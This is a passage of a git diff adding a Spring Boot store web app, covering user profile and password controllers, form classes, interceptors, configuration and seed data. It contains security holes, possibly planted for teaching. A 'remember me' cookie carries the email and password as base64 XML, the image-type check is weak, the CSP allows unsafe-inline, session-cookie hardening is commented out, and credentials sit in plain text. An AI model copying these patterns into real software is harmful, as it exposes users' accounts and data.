Constants.REGISTRATION_SUCCESS_MESSAGE, new Object[]{user.getName()}, locale)); + } catch (DuplicatedResourceException ex) { + return errorHandlingUtils.handleDuplicatedResourceException(ex, Constants.USER_PROFILE_PAGE, + model, locale); + } catch (IOException ex) { + return errorHandlingUtils.handleUnexpectedException(ex, model); + } + return Constants.SEND_REDIRECT + Constants.ROOT_ENDPOINT; + } + + @PostMapping(Constants.USER_PROFILE_ENDPOINT) + public String doUpdateProfile(@Valid @ModelAttribute(Constants.USER_PROFILE_FORM) UserProfileForm userProfileForm, + BindingResult result, + @SessionAttribute(Constants.USER_SESSION) User user, + HttpSession session, + Locale locale, + Model model) { + if (result.hasErrors()) { + errorHandlingUtils.handleInvalidFormError(result, + Constants.UPDATE_PROFILE_INVALID_PARAMS_MESSAGE, model, locale); + return Constants.USER_PROFILE_PAGE; + } + User updatedUser; + try { + if(userProfileForm.getImage() == null){ + updatedUser = userService.update(user.getUserId(), userProfileForm.getName(), userProfileForm.getEmail(), + userProfileForm.getAddress(), null, null); + }else{ + MultipartFile file = userProfileForm.getImage(); + String contentType = file.getContentType(); + if(contentType != null && !contentType.contains("jpeg")){ + updatedUser = userService.update(user.getUserId(), userProfileForm.getName(), userProfileForm.getEmail(), + userProfileForm.getAddress(), null, null); + }else{ + updatedUser = userService.update(user.getUserId(), userProfileForm.getName(), userProfileForm.getEmail(), + userProfileForm.getAddress(), userProfileForm.getImage().getOriginalFilename(), + userProfileForm.getImage().getBytes()); + } + } + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("User {0} with name {1} updated", + updatedUser.getEmail(), updatedUser.getName())); + } + + session.setAttribute(Constants.USER_SESSION, updatedUser); + model.addAttribute(Constants.SUCCESS_MESSAGE, messageSource.getMessage( + Constants.PROFILE_UPDATE_SUCCESS, new Object[]{}, locale)); + + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } catch (DuplicatedResourceException ex) { + return errorHandlingUtils.handleDuplicatedResourceException(ex, Constants.ERROR_PAGE, model, locale); + } catch (Exception ex) { + return errorHandlingUtils.handleUnexpectedException(ex, model); + } + return Constants.USER_PROFILE_PAGE; + } + + @PostMapping(Constants.CHANGE_PASSWORD_ENDPOINT) + public String doChangePassword(@Valid @ModelAttribute(Constants.PASSWORD_FORM) ChangePasswordForm passwordForm, + BindingResult result, + @SessionAttribute(Constants.USER_SESSION) User user, + HttpSession session, + RedirectAttributes redirectAttributes, + Locale locale, + Model model) { + if (result.hasErrors()) { + errorHandlingUtils.handleInvalidFormError(result, + Constants.CHANGE_PASSWORD_INVALID_PARAMS_MESSAGE, model, locale); + return Constants.PASSWORD_PAGE; + } + User updatedUser; + try { + updatedUser = userService.changePassword(user.getUserId(), passwordForm.getOldPassword(), passwordForm.getPassword()); + session.setAttribute(Constants.USER_SESSION, updatedUser); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, messageSource.getMessage( + Constants.PROFILE_UPDATE_SUCCESS, new Object[]{}, locale)); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } catch (AuthenticationException ex) { + return errorHandlingUtils.handleAuthenticationException(ex, user.getEmail(), + Constants.PASSWORD_PAGE, model, locale); + } + return Constants.SEND_REDIRECT + Constants.ROOT_ENDPOINT; + } + + @GetMapping(Constants.USER_PROFILE_IMAGE_ENDPOINT) + public ResponseEntity doGetProfileImage(@SessionAttribute(Constants.USER_SESSION) User user, + HttpServletResponse response, + Locale locale, + Model model) { + try { + + response.setHeader(Constants.CONTENT_TYPE_HEADER, MediaType.APPLICATION_OCTET_STREAM_VALUE); + response.setHeader(Constants.CONTENT_DISPOSITION_HEADER, + MessageFormat.format(Constants.CONTENT_DISPOSITION_HEADER_VALUE, user.getEmail(), user.getImage())); + + byte[] contents = userService.getImage(user.getUserId()); + if (contents == null) { + String message = messageSource.getMessage(Constants.INVALID_PROFILE_IMAGE_MESSAGE, + new Object[]{}, locale); + model.addAttribute(Constants.MESSAGE, message); + return new ResponseEntity<>(new byte[0], null, HttpStatus.INTERNAL_SERVER_ERROR); + } + + return new ResponseEntity<>(contents, null, HttpStatus.OK); + } catch (InstanceNotFoundException ex) { + errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + return new ResponseEntity<>(new byte[0], null, HttpStatus.NOT_FOUND); + } catch (Exception ex) { + errorHandlingUtils.handleUnexpectedException(ex, model); + return new ResponseEntity<>(new byte[0], null, HttpStatus.INTERNAL_SERVER_ERROR); + } + + } + + @PostMapping(Constants.USER_PROFILE_IMAGE_REMOVE_ENDPOINT) + public String doRemoveProfileImage(@SessionAttribute(Constants.USER_SESSION) User user, + HttpSession session, + RedirectAttributes redirectAttributes, + Locale locale, + Model model) { + + User updatedUser; + try { + updatedUser = userService.removeImage(user.getUserId()); + session.setAttribute(Constants.USER_SESSION, updatedUser); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, messageSource.getMessage( + Constants.PROFILE_UPDATE_SUCCESS, new Object[]{}, locale)); + } catch (InstanceNotFoundException ex) { + return errorHandlingUtils.handleInstanceNotFoundException(ex, model, locale); + } catch (ServiceException ex) { + return errorHandlingUtils.handleUnexpectedException(ex, model); + } + return Constants.SEND_REDIRECT + Constants.USER_PROFILE_ENDPOINT; + } + + @PostMapping(Constants.SEND_EMAIL_ENDPOINT) + public String doSendEmail(@RequestParam(Constants.EMAIL_PARAM) String email, + RedirectAttributes redirectAttributes, + HttpServletRequest request, + Locale locale, + Model model) { + try { + if(email == null || email.trim().length() == 0) { + String message = messageSource.getMessage(Constants.INVALID_EMAIL_MESSAGE, new Object[]{}, locale); + model.addAttribute(Constants.ERROR_MESSAGE, message); + return Constants.SEND_EMAIL_PAGE; + } + + String scheme = request.getScheme(); + String serverName = request.getServerName(); + Integer portNumber = request.getServerPort(); + String contextPath = request.getContextPath(); + + userService.sendResetPasswordEmail(email, MessageFormat.format(Constants.URL_FORMAT, scheme, + serverName, portNumber.toString(), contextPath, Constants.RESET_PASSWORD_ENDPOINT), locale); + + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, messageSource.getMessage( + Constants.MAIL_SUCCESS_MESSAGE, new Object[] { email }, locale)); + + } catch (AuthenticationException ex) { + return errorHandlingUtils.handleAuthenticationException(ex, email, + Constants.SEND_EMAIL_PAGE, model, locale); + } catch (Exception ex) { + return errorHandlingUtils.handleUnexpectedException(ex, model); + } + return Constants.SEND_REDIRECT + Constants.SEND_EMAIL_ENDPOINT; + } + + @PostMapping(Constants.RESET_PASSWORD_ENDPOINT) + public String doResetPassword(@Valid @ModelAttribute(Constants.RESET_PASSWORD_FORM) ResetPasswordForm passwordForm, + BindingResult result, + RedirectAttributes redirectAttributes, + HttpServletRequest request, + Locale locale, + Model model) { + try { + if (result.hasErrors()) { + errorHandlingUtils.handleInvalidFormError(result, + Constants.RESET_PASSWORD_INVALID_PARAMS_MESSAGE, model, locale); + return Constants.RESET_PASSWORD_PAGE; + } + userService.changePassword(passwordForm.getEmail(), passwordForm.getPassword(), passwordForm.getToken()); + redirectAttributes.addFlashAttribute(Constants.SUCCESS_MESSAGE, messageSource.getMessage( + Constants.CHANGE_PASSWORD_SUCCESS, new Object[0], locale)); + } catch (AuthenticationException ex) { + return errorHandlingUtils.handleAuthenticationException(ex, passwordForm.getEmail(), + Constants.SEND_EMAIL_PAGE, model, locale); + } catch (Exception ex) { + return errorHandlingUtils.handleUnexpectedException(ex, model); + } + return Constants.SEND_REDIRECT + Constants.ROOT_ENDPOINT; + } + +} diff --git a/src/main/java/es/storeapp/web/cookies/UserInfo.java b/src/main/java/es/storeapp/web/cookies/UserInfo.java new file mode 100644 index 0000000..023a31f --- /dev/null +++ b/src/main/java/es/storeapp/web/cookies/UserInfo.java @@ -0,0 +1,41 @@ +package es.storeapp.web.cookies; + +import javax.xml.bind.annotation.XmlAccessType; +import javax.xml.bind.annotation.XmlAccessorType; +import javax.xml.bind.annotation.XmlElement; +import javax.xml.bind.annotation.XmlRootElement; + +@XmlRootElement(name="UserInfo") +@XmlAccessorType(XmlAccessType.FIELD) +public class UserInfo { + + @XmlElement + private String email; + @XmlElement + private String password; + + public UserInfo() { + } + + public UserInfo(String email, String password) { + this.email = email; + this.password = password; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + +} diff --git a/src/main/java/es/storeapp/web/exceptions/ErrorHandlingUtils.java b/src/main/java/es/storeapp/web/exceptions/ErrorHandlingUtils.java new file mode 100644 index 0000000..939127c --- /dev/null +++ b/src/main/java/es/storeapp/web/exceptions/ErrorHandlingUtils.java @@ -0,0 +1,70 @@ +package es.storeapp.web.exceptions; + +import es.storeapp.business.exceptions.AuthenticationException; +import es.storeapp.business.exceptions.DuplicatedResourceException; +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.exceptions.InvalidStateException; +import es.storeapp.common.Constants; +import java.util.Locale; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.MessageSource; +import org.springframework.stereotype.Component; +import org.springframework.ui.Model; +import org.springframework.validation.BindingResult; + +@Component +public class ErrorHandlingUtils { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(ErrorHandlingUtils.class); + + @Autowired + private MessageSource messageSource; + + public String handleInvalidFormError(BindingResult result, String template, + Model model, Locale locale) { + if(logger.isErrorEnabled()) { + logger.error(result.toString()); + } + String message = messageSource.getMessage(template, new Object[0], locale); + model.addAttribute(Constants.ERROR_MESSAGE, message); + return Constants.ERROR_PAGE; + } + + public String handleInstanceNotFoundException(InstanceNotFoundException e, Model model, Locale locale) { + logger.error(e.getMessage(), e); + model.addAttribute(Constants.ERROR_MESSAGE, e.getMessage()); + model.addAttribute(Constants.EXCEPTION, e); + return Constants.ERROR_PAGE; + } + + public String handleDuplicatedResourceException(DuplicatedResourceException e, String targetPage, + Model model, Locale locale) { + logger.error(e.getMessage(), e); + model.addAttribute(Constants.ERROR_MESSAGE, e.getMessage()); + model.addAttribute(Constants.EXCEPTION, e); + return targetPage; + } + + public String handleAuthenticationException(AuthenticationException e, String user, String targetPage, + Model model, Locale locale) { + logger.error(e.getMessage(), e); + model.addAttribute(Constants.ERROR_MESSAGE, e.getMessage()); + model.addAttribute(Constants.EXCEPTION, e); + return targetPage; + } + + public String handleInvalidStateException(InvalidStateException e, Model model, Locale locale) { + logger.error(e.getMessage(), e); + model.addAttribute(Constants.ERROR_MESSAGE, e.getMessage()); + model.addAttribute(Constants.EXCEPTION, e); + return Constants.ERROR_PAGE; + } + + public String handleUnexpectedException(Exception e, Model model) { + logger.error(e.getMessage(), e); + model.addAttribute(Constants.ERROR_MESSAGE, e.getMessage()); + model.addAttribute(Constants.EXCEPTION, e); + return Constants.ERROR_PAGE; + } +} diff --git a/src/main/java/es/storeapp/web/forms/ChangePasswordForm.java b/src/main/java/es/storeapp/web/forms/ChangePasswordForm.java new file mode 100644 index 0000000..e553a17 --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/ChangePasswordForm.java @@ -0,0 +1,24 @@ +package es.storeapp.web.forms; + +public class ChangePasswordForm { + + private String oldPassword; + private String password; + + public String getOldPassword() { + return oldPassword; + } + + public void setOldPassword(String oldPassword) { + this.oldPassword = oldPassword; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + +} diff --git a/src/main/java/es/storeapp/web/forms/CommentForm.java b/src/main/java/es/storeapp/web/forms/CommentForm.java new file mode 100644 index 0000000..b40897f --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/CommentForm.java @@ -0,0 +1,34 @@ +package es.storeapp.web.forms; + +public class CommentForm { + + private Long productId; + private String text; + private Integer rating; + + public String getText() { + return text; + } + + public void setText(String text) { + this.text = text; + } + + public Integer getRating() { + return rating; + } + + public void setRating(Integer rating) { + this.rating = rating; + } + + public Long getProductId() { + return productId; + } + + public void setProductId(Long productId) { + this.productId = productId; + } + + +} diff --git a/src/main/java/es/storeapp/web/forms/LoginForm.java b/src/main/java/es/storeapp/web/forms/LoginForm.java new file mode 100644 index 0000000..59877d9 --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/LoginForm.java @@ -0,0 +1,44 @@ +package es.storeapp.web.forms; + +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Size; + +public class LoginForm { + + @NotNull + @Size(min=1) + private String email; + + @NotNull + @Size(min=1) + private String password; + + private Boolean rememberMe; + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public Boolean getRememberMe() { + return rememberMe; + } + + public void setRememberMe(Boolean rememberMe) { + this.rememberMe = rememberMe; + } + + + +} diff --git a/src/main/java/es/storeapp/web/forms/OrderForm.java b/src/main/java/es/storeapp/web/forms/OrderForm.java new file mode 100644 index 0000000..faeec25 --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/OrderForm.java @@ -0,0 +1,42 @@ +package es.storeapp.web.forms; + +public class OrderForm { + + private String name; + private int price; + private String address; + private Boolean payNow; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getPrice() { + return price; + } + + public void setPrice(int price) { + this.price = price; + } + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public Boolean getPayNow() { + return payNow; + } + + public void setPayNow(Boolean payNow) { + this.payNow = payNow; + } + +} diff --git a/src/main/java/es/storeapp/web/forms/PaymentForm.java b/src/main/java/es/storeapp/web/forms/PaymentForm.java new file mode 100644 index 0000000..d655114 --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/PaymentForm.java @@ -0,0 +1,60 @@ +package es.storeapp.web.forms; + +public class PaymentForm { + + private Boolean defaultCreditCard; + private String creditCard; + private Integer cvv; + private Integer expirationMonth; + private Integer expirationYear; + private Boolean save; + + public Boolean getDefaultCreditCard() { + return defaultCreditCard; + } + + public void setDefaultCreditCard(Boolean defaultCreditCard) { + this.defaultCreditCard = defaultCreditCard; + } + + public String getCreditCard() { + return creditCard; + } + + public void setCreditCard(String creditCard) { + this.creditCard = creditCard; + } + + public Integer getCvv() { + return cvv; + } + + public void setCvv(Integer cvv) { + this.cvv = cvv; + } + + public Integer getExpirationMonth() { + return expirationMonth; + } + + public void setExpirationMonth(Integer expirationMonth) { + this.expirationMonth = expirationMonth; + } + + public Integer getExpirationYear() { + return expirationYear; + } + + public void setExpirationYear(Integer expirationYear) { + this.expirationYear = expirationYear; + } + + public Boolean getSave() { + return save; + } + + public void setSave(Boolean save) { + this.save = save; + } + +} diff --git a/src/main/java/es/storeapp/web/forms/ProductSearchForm.java b/src/main/java/es/storeapp/web/forms/ProductSearchForm.java new file mode 100644 index 0000000..8ff297d --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/ProductSearchForm.java @@ -0,0 +1,15 @@ +package es.storeapp.web.forms; + +public class ProductSearchForm { + + private String category; + + public String getCategory() { + return category; + } + + public void setCategory(String category) { + this.category = category; + } + +} diff --git a/src/main/java/es/storeapp/web/forms/ResetPasswordForm.java b/src/main/java/es/storeapp/web/forms/ResetPasswordForm.java new file mode 100644 index 0000000..44ae1f3 --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/ResetPasswordForm.java @@ -0,0 +1,33 @@ +package es.storeapp.web.forms; + +public class ResetPasswordForm { + + private String token; + private String email; + private String password; + + public String getToken() { + return token; + } + + public void setToken(String token) { + this.token = token; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + +} diff --git a/src/main/java/es/storeapp/web/forms/UserProfileForm.java b/src/main/java/es/storeapp/web/forms/UserProfileForm.java new file mode 100644 index 0000000..8c569ff --- /dev/null +++ b/src/main/java/es/storeapp/web/forms/UserProfileForm.java @@ -0,0 +1,72 @@ +package es.storeapp.web.forms; + +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Size; +import org.springframework.web.multipart.MultipartFile; + +public class UserProfileForm { + + @NotNull + @Size(min=4) + private String name; + + @NotNull + private String email; + + private String password; + + @NotNull + private String address; + + private MultipartFile image; + + public UserProfileForm() { + } + + public UserProfileForm(String name, String email, String address) { + this.name = name; + this.email = email; + this.address = address; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public MultipartFile getImage() { + return image; + } + + public void setImage(MultipartFile image) { + this.image = image; + } + +} diff --git a/src/main/java/es/storeapp/web/interceptors/AuthenticatedUserInterceptor.java b/src/main/java/es/storeapp/web/interceptors/AuthenticatedUserInterceptor.java new file mode 100644 index 0000000..cbcb30a --- /dev/null +++ b/src/main/java/es/storeapp/web/interceptors/AuthenticatedUserInterceptor.java @@ -0,0 +1,25 @@ +package es.storeapp.web.interceptors; + +import es.storeapp.common.Constants; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import org.springframework.web.servlet.HandlerInterceptor; + +public class AuthenticatedUserInterceptor implements HandlerInterceptor { + + @Override + public boolean preHandle(HttpServletRequest request, + HttpServletResponse response, + Object handler) + throws Exception { + + HttpSession session = request.getSession(); + if(session.getAttribute(Constants.USER_SESSION) == null) { + response.sendRedirect(request.getContextPath() + Constants.LOGIN_ENDPOINT + + Constants.PARAMS + Constants.NEXT_PAGE + Constants.PARAM_VALUE + request.getRequestURL()); + return false; + } + return true; + } +} diff --git a/src/main/java/es/storeapp/web/interceptors/AutoLoginInterceptor.java b/src/main/java/es/storeapp/web/interceptors/AutoLoginInterceptor.java new file mode 100644 index 0000000..683ae41 --- /dev/null +++ b/src/main/java/es/storeapp/web/interceptors/AutoLoginInterceptor.java @@ -0,0 +1,53 @@ +package es.storeapp.web.interceptors; + +import es.storeapp.business.entities.User; +import es.storeapp.business.services.UserService; +import es.storeapp.common.Constants; +import es.storeapp.web.cookies.UserInfo; +import java.io.ByteArrayInputStream; +import java.util.Base64; + +import javax.xml.bind.JAXBContext; +import javax.xml.bind.Unmarshaller; + +import jakarta.servlet.http.Cookie; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import org.springframework.web.servlet.HandlerInterceptor; + +public class AutoLoginInterceptor implements HandlerInterceptor { + + private final UserService userService; + + public AutoLoginInterceptor(UserService userService) { + this.userService = userService; + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + + HttpSession session = request.getSession(true); + if (session.getAttribute(Constants.USER_SESSION) != null || request.getCookies() == null) { + return true; + } + for (Cookie c : request.getCookies()) { + if (Constants.PERSISTENT_USER_COOKIE.equals(c.getName())) { + String cookieValue = c.getValue(); + if (cookieValue == null) { + continue; + } + Base64.Decoder decoder = Base64.getDecoder(); + JAXBContext context = JAXBContext.newInstance(UserInfo.class); + Unmarshaller unmarshaller = context.createUnmarshaller(); + UserInfo userInfo = (UserInfo) unmarshaller.unmarshal(new ByteArrayInputStream(decoder.decode(cookieValue))); + User user = userService.findByEmail(userInfo.getEmail()); + if (user != null && user.getPassword().equals(userInfo.getPassword())) { + session.setAttribute(Constants.USER_SESSION, user); + } + } + } + return true; + } +} diff --git a/src/main/java/es/storeapp/web/interceptors/CSPInterceptor.java b/src/main/java/es/storeapp/web/interceptors/CSPInterceptor.java new file mode 100644 index 0000000..217b96f --- /dev/null +++ b/src/main/java/es/storeapp/web/interceptors/CSPInterceptor.java @@ -0,0 +1,22 @@ +package es.storeapp.web.interceptors; + +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import org.springframework.web.servlet.HandlerInterceptor; + +public class CSPInterceptor implements HandlerInterceptor { + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + response.setHeader("Content-Security-Policy", + "default-src 'self'; " + + "img-src 'self'; " + + "script-src 'self' 'unsafe-inline'; " + + "style-src 'self' 'unsafe-inline';" + + "frame-ancestors 'none';" + + "object-src 'none';"); + return true; + } + +} diff --git a/src/main/java/es/storeapp/web/interceptors/LoggerInterceptor.java b/src/main/java/es/storeapp/web/interceptors/LoggerInterceptor.java new file mode 100644 index 0000000..9652d0b --- /dev/null +++ b/src/main/java/es/storeapp/web/interceptors/LoggerInterceptor.java @@ -0,0 +1,45 @@ +package es.storeapp.web.interceptors; + +import java.text.MessageFormat; +import java.time.LocalDateTime; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.web.servlet.HandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; + +public class LoggerInterceptor implements HandlerInterceptor { + + private static final EscapingLoggerWrapper logger = new EscapingLoggerWrapper(LoggerInterceptor.class); + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Request URL: {0} started at {1}", + request.getRequestURL(), LocalDateTime.now())); + } + + return true; + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, + Object handler, ModelAndView modelAndView) throws Exception { + + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("Request URL: {0} finished at {1}", + request.getRequestURL(), LocalDateTime.now())); + } + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, + Object handler, Exception ex) throws Exception { + if(logger.isDebugEnabled()) { + logger.debug(MessageFormat.format("After completion URL: {0} finished at {1}", + request.getRequestURL(), LocalDateTime.now())); + } } + +} diff --git a/src/main/java/es/storeapp/web/interceptors/ShoppingCartInterceptor.java b/src/main/java/es/storeapp/web/interceptors/ShoppingCartInterceptor.java new file mode 100644 index 0000000..c6b4a23 --- /dev/null +++ b/src/main/java/es/storeapp/web/interceptors/ShoppingCartInterceptor.java @@ -0,0 +1,23 @@ +package es.storeapp.web.interceptors; + +import es.storeapp.common.Constants; +import es.storeapp.web.session.ShoppingCart; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import org.springframework.web.servlet.HandlerInterceptor; + +public class ShoppingCartInterceptor implements HandlerInterceptor { + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + + HttpSession session = request.getSession(true); + + if(session.getAttribute(Constants.SHOPPING_CART_SESSION) == null) { + session.setAttribute(Constants.SHOPPING_CART_SESSION, new ShoppingCart()); + } + + return true; + } +} diff --git a/src/main/java/es/storeapp/web/session/ShoppingCart.java b/src/main/java/es/storeapp/web/session/ShoppingCart.java new file mode 100644 index 0000000..6429f95 --- /dev/null +++ b/src/main/java/es/storeapp/web/session/ShoppingCart.java @@ -0,0 +1,31 @@ +package es.storeapp.web.session; + +import es.storeapp.business.entities.Product; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; + +public class ShoppingCart implements Serializable { + + private static final long serialVersionUID = 8032734613287752106L; + + private final List products = new ArrayList<>(); + + public List getProducts() { + return products; + } + + public boolean contains(Long id) { + return products.stream().anyMatch(product -> (product.getProductId().equals(id))); + } + + public int getTotalPrice() { + int totalPrice = 0; + return products.stream().map(product -> product.getPrice()).reduce(totalPrice, Integer::sum); + } + + public void clear() { + products.clear(); + } + +} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties new file mode 100644 index 0000000..71d5c64 --- /dev/null +++ b/src/main/resources/application.properties @@ -0,0 +1,75 @@ +# =============================== +# Custom properties +# =============================== + +server.cofiguration.resources=work +server.servlet.session.timeout=10800 +server.servlet.session.tracking-modes=cookie +#server.servlet.session.http-only=true +#server.servlet.session.secure=true + +# =============================== +# Web +# =============================== + +server.port=8888 + +server.ssl.key-store-type=PKCS12 +server.ssl.key-store=server.p12 +server.ssl.key-store-password=magic + +server.error.path=/Error +server.error.include-exception=false +server.error.include-stacktrace=never + +# =============================== +# Datasource +# =============================== + +spring.datasource.url=jdbc:derby:database +spring.datasource.username=app +spring.datasource.password=secr3t +spring.datasource.driver-class-name=org.apache.derby.jdbc.EmbeddedDriver +spring.datasource.continue-on-error=false +spring.datasource.initialization-mode=never +spring.sql.init.mode=never + +# =============================== +# JPA +# =============================== + +spring.jpa.show-sql=true +spring.jpa.properties.hibernate.format_sql=true +spring.jpa.properties.hibernate.type=error +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.DerbyDialect +spring.jpa.hibernate.ddl-auto=none + +# =============================== +# Mail +# =============================== + +server.cofiguration.mail-host= +server.cofiguration.mail-port= +server.cofiguration.mail-username= +server.cofiguration.mail-password= +server.cofiguration.mail-ssl-enable= +server.cofiguration.mail-start-tls-enable= +server.cofiguration.mail-from= + +# =============================== +# Logging +# =============================== + +debug=false +logging.level.es.storeapp=DEBUG +logging.level.org.springframework.web=ERROR +logging.level.org.thymeleaf=ERROR +logging.level.com.zaxxer.hikari.pool=ERROR +logging.file.name=./log/server.log + +# =============================== +# Management +# =============================== + +management.endpoints.web.exposure.include= +management.endpoint.shutdown.enabled=false \ No newline at end of file diff --git a/src/main/resources/data.sql b/src/main/resources/data.sql new file mode 100644 index 0000000..c088681 --- /dev/null +++ b/src/main/resources/data.sql @@ -0,0 +1,72 @@ +-- Categories +INSERT INTO Categories (category_id, name, description, icon, highlighted) VALUES (1, 'Laptops', 'Lightweight, Everyday Computing and Desktop Replacement', 'fa-laptop', true); +INSERT INTO Categories (category_id, name, description, icon, highlighted) VALUES (2, 'Cameras', 'Standard Compact, Zoom Compact, Adventure Cameras, Advanced Compact and Super-Zoom', 'fa-camera', true); +INSERT INTO Categories (category_id, name, description, icon, highlighted) VALUES (3, 'Mobile Phones', 'Smart Phones, Camera Phones, Music Phones, 5G Phones and Basic Phones', 'fa-mobile-alt', true); +INSERT INTO Categories (category_id, name, description, icon, highlighted) VALUES (4, 'TV', 'LCD, LED and OLED', 'fa-tv', true); +INSERT INTO Categories (category_id, name, description, icon, highlighted) VALUES (5, 'Desktop Computers', 'Small Desktops, Gaming PC, All-In-One and Power Servers', 'fa-desktop', false); +INSERT INTO Categories (category_id, name, description, icon, highlighted) VALUES (6, 'Tablets', 'High Resolution, Best Performance, Wi-Fi Only and 4G', 'fa-tablet-alt', false); +INSERT INTO Categories (category_id, name, description, icon, highlighted) VALUES (7, 'Accesories', 'Keyboards, Hard Disks, Microphones, Wifi Routers, and much more', 'fa-keyboard', false); + +-- Laptops +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (1, 1, 'Ultra Portable', 'Processor Speed 1.1MHz, RAM 4G, Storage 64 GB, Screen 13.3 inches', 'fa-laptop', 380, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (2, 1, 'General Purpose', 'Processor Speed 2.4MHz, RAM 4G, Storage 1 TB, Screen 15.6 inches', 'fa-laptop', 420, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (3, 1, 'Business Small', 'Processor Speed 2.4MHz, RAM 4G, Storage 128 GB, Screen 13.3 inches', 'fa-laptop', 535, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (4, 1, 'Business', 'Processor Speed 2.4MHz, RAM 8G, Storage 512 GB, Screen 14 inches', 'fa-laptop', 780, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (5, 1, 'Gaming', 'Processor Speed 2.8MHz, RAM 16G, Storage 2 TB, Screen 15.6 inches', 'fa-laptop', 925, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (6, 1, 'Ultra Power Small', 'Processor Speed 2.4MHz, RAM 16G, Storage 1 TB, Screen 12.2 inches', 'fa-laptop', 1095, 0, 0, 0); + +-- Cameras +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (7, 2, 'Compact 16', 'Resolution 16 MP, Optical Zoom 3.8, Popup flash, Wi-Fi', 'fa-camera', 165, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (8, 2, 'Compact 20', 'Resolution 20.2 MP, Optical Zoom 4.2, Popup flash, Touch Screen Display', 'fa-camera', 430, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (9, 2, 'DSLR 24', 'Resolution 24.2MP, Autofocus 11-point AF, ISO Range 100 to 51200', 'fa-camera', 540, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (10, 2, 'DSLR 36', 'Resolution 35.3MP, Autofocus 51-point AF, ISO Range 64 to 51200', 'fa-camera-retro', 975, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (11, 2, 'WaterProof 14', 'Resolution 14.2MP, Interchangeable Lenses, Operational Water Depep up to 49 feet', 'fa-camera-retro', 780, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (12, 2, 'Camcorder 20', 'Resolution 20MP, LCD Screen 3 inches', 'fa-video', 990, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (13, 2, 'Camcorder 36', 'Resolution 